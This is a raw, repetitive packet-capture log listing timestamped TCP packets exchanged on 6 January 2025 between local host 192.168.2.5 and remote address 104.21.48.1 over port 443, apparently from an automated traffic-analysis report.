Jan 6, 2025 13:55:06.212219000 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.214740038 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.214755058 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.214803934 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.214809895 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.214843035 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.214868069 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.216928959 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.216943979 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.216993093 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.216998100 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.217032909 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.217056036 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.223325014 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.223344088 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.223412991 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.223417997 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.223484039 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.279203892 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.279222965 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.279289007 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.279295921 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.279334068 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.279638052 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.279652119 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.279690027 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.279695034 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.279725075 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.279746056 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.280030966 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.280051947 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.280083895 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.280090094 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.280116081 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.280137062 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.302308083 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.302321911 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.302366018 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.302370071 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.302402020 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.302421093 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.302926064 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.302942038 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.302994967 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.302999973 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.303036928 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.306397915 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.306411982 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.306457043 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.306463957 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.306504011 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.306520939 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.315094948 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.315112114 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.315176010 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.315181971 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.315228939 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.335114956 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.335129023 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.335199118 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.335207939 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.335249901 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.369863033 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.369882107 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.369966030 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.369972944 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.370028019 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.370328903 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.370343924 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.370388985 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.370394945 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.370436907 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.370572090 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.370587111 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.370630980 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.370636940 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.370672941 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.370681047 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.393841028 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.393861055 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.393935919 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.393946886 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.393994093 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.394552946 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.394567966 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.394630909 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.394639015 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.394675016 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.398108006 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.398122072 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.398181915 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.398190022 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.398231983 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.405896902 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.405910015 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.405968904 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.405976057 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.406018019 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.426513910 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.426529884 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.426604033 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.426616907 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.426688910 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.460496902 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.460513115 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.460586071 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.460594893 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.460644960 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.460809946 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.460834026 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.460885048 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.460891008 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.460927010 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.460952044 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.461234093 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.461250067 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.461301088 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.461306095 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.461338043 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.461363077 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.483690023 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.483705044 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.483778954 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.483787060 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.483838081 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.484139919 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.484154940 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.484239101 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.484246016 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.484292030 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.487761021 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.487775087 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.487826109 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.487832069 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.487869024 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.487893105 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.496345997 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.496391058 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.496409893 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.496416092 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.496454954 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.496493101 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.516438961 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.516453981 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.516531944 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.516539097 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.516598940 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.551213026 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.551232100 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.551335096 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.551350117 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.551378012 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.551419973 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.551656961 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.551672935 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.551728010 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.551733017 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.551767111 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.551793098 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.552100897 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.552122116 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.552179098 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.552185059 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.552212954 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.552237988 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.574306011 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.574325085 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.574409962 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.574419022 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.574449062 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.574490070 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.574764013 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.574780941 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.574836016 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.574841976 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.574883938 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.578372002 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.578387022 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.578443050 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.578449965 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.578493118 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.587155104 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.587168932 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.587219000 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.587224960 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.587251902 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.587282896 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.607331991 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.607345104 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.607412100 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.607418060 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.607462883 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.641941071 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.641958952 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.642049074 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.642056942 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.642102957 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.642307997 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.642321110 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.642388105 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.642393112 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.642431974 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.642743111 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.642757893 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.642812967 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.642817974 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.642857075 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.664944887 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.664958954 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.665055037 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.665060997 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.665096998 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.665450096 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.665462971 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.665535927 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.665541887 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.665585041 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.669110060 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.669123888 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.669213057 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.669219971 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.669261932 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.677788019 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.677803040 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.677881956 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.677887917 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.677954912 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.698142052 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.698157072 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.698240995 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.698247910 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.698292017 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.732736111 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.732748985 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.732851028 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.732857943 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.732935905 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.733021021 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.733041048 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.733084917 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.733093977 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.733134985 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.733483076 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.733499050 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.733547926 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.733552933 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.733594894 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.755599022 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.755613089 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.755702019 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.755708933 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.755750895 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.755958080 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.755974054 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.756051064 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.756057024 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.756108999 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.759596109 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.759608984 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.759666920 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.759670973 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.759706974 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.768487930 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.768505096 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.768568993 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.768573999 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.768620968 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.768641949 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.788710117 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.788738012 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.788794041 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.788799047 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.788836956 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.788878918 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.823487997 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.823502064 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.823592901 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.823602915 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.823652029 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.824014902 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.824028015 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.824106932 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.824116945 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.824155092 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.824436903 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.824451923 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.824501038 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.824506998 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.824546099 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.846263885 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.846277952 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.846364975 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.846371889 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.846421003 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.846725941 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.846739054 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.846781015 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.846786976 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.846812963 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.846837044 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.850440025 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.850452900 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.850498915 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.850505114 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.850577116 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.859064102 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.859077930 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.859147072 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.859153032 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.859194994 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.879440069 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.879461050 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.879518032 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.879523993 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.879559040 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.879578114 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.914053917 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.914072990 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.914139032 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.914150000 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.914203882 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.915077925 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.915100098 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.915142059 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.915148020 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.915179014 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.915186882 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.915426016 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.915438890 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.915487051 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.915492058 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.915530920 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.936959028 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.936973095 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.937139988 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.937144995 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.937191010 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:06.937357903 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.937370062 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:06.937443972 CET	49704	443	192.168.2.5	104.21.48.1
